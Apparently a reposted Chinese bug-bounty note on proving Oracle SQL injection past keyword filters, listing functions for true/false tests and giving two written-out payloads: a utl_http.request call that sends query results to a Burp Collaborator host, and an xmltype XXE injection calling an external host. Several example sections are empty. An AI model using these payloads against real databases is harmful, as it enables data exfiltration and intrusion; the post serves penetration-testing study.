src/眾測篇:oracle注入過濾-- , + - * /,case when ,select,from,decode等函數如何證明是注入?


  

  (1)nullif: NULLIF:如果exp1和exp2相等則返回空(NULL),否則返回第一個值

   真: 

  

 

 

  假:

 

 

 

 (2)nvl/nvl2 測試失敗無法實現:)記錄

 
(3)如果是oracle報錯注入,嘗試dbms_*系列:
  舉一個例子:
  

 

 

 

(4)utl_*_*   (ssrf)

  舉一個例子:
  

 

 

 

 

 

可以導致ssrf攻擊

如果沒過濾select 和from,可直接外帶數據出來:
select * from t_user where name='admin'||utl_http.request('http://'||(select name from t_user where rownum=1)||'.dubnrh9tpexzcv48ip3ug8up1g76vv.burpcollaborator.net')||''

 

 

 

 

 

 

 

 

 

 

(5) oracle to xxe:

select * from t_user where age=18||extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % evil SYSTEM "http://918eso6otf18ojltzk9u9rxhq8wzko.burpcollaborator.net">%evil;]>'),'/l')

 

 

 

 

 

 

 

如果可以使用select和from的話,也可以外帶輸入,和utl_*.*一樣

 

(6)replace:替換

  真:
  

 

 

 假

 

 

 

 

(7)regexp_replace

  真:
  

 

 

  假:

   

 

 

 

  

 

 

 

 

 

 

 

 

 
  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM